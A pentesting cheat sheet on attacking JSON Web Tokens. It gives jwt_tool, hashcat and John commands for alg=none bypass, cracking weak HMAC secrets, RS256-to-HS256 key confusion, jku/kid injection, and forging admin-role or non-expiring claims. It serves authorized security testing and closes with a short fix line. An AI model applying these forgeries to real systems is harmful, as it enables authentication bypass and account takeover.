JWT Attacks Cheat Sheet
JSON Web Token attacks: alg=none, weak secret cracking, key confusion (RS256→HS256), and claim tampering on authorized targets.
Overview
JWTs are signed tokens (header.payload.signature) used for stateless auth. They're frequently misconfigured: accepting alg=none, signed with a weak HMAC secret, or vulnerable to RS256→HS256 key confusion. The attacker's goal is to forge a token (e.g. change the user/role) that the server still accepts. Decode first, then test each weakness.
Authorized testing only. Forge and test tokens only against systems you own or have explicit written permission to test.
Decode & inspect
Decode the header (check the alg)
echo $JWT | cut -d. -f1 | base64 -d 2>/dev/nullDecode the payload (claims: user, role, exp)
echo $JWT | cut -d. -f2 | base64 -d 2>/dev/null | jq .jwt_tool: full decode + automated checks
python3 jwt_tool.py $JWTalg=none bypass
Set alg to none and strip the signature — the server may skip verification
python3 jwt_tool.py $JWT -X aForge: base64url(header).base64url(payload). with an empty signature
{"alg":"none","typ":"JWT"}Case bypasses for naive blocklists
# Try variants: none, None, NONE, nOnECrack a weak HMAC secret (HS256)
Crack the signing secret with hashcat
hashcat -m 16500 jwt.txt rockyou.txtCrack with John
john jwt.txt --wordlist=rockyou.txt --format=HMAC-SHA256jwt_tool dictionary attack on the secret
python3 jwt_tool.py $JWT -C -d rockyou.txtForge with the cracked secret
Tamper a claim and re-sign with the known secret
python3 jwt_tool.py $JWT -T -S hs256 -p 'secret123'Change role to admin in the payload, then re-sign
{"user":"victim","role":"admin"}RS256 → HS256 key confusion
If the server's public RSA key is known, sign an HS256 token using that public key as the HMAC secret
python3 jwt_tool.py $JWT -X k -pk public.pemGrab the public key from JWKS or TLS if not provided
curl -s https://target/.well-known/jwks.jsonOther tampering
Point the key URL at your own JWKS (jwt_tool -X i/s)
jku / x5u header injectionAbuse the kid header to load a known/attacker key
kid path traversal / SQLiRemove or extend the exp claim to keep a token valid
{"exp": 9999999999}Tips
- Always decode the payload first — sometimes you can just change a claim if the signature isn't checked.
- alg=none and weak HMAC secrets are the two most common real-world findings — test both early.
- For RS256→HS256 confusion you need the public key; check /.well-known/jwks.json.
- Fix = pin the algorithm server-side, use strong secrets/asymmetric keys, and verify exp — note all three.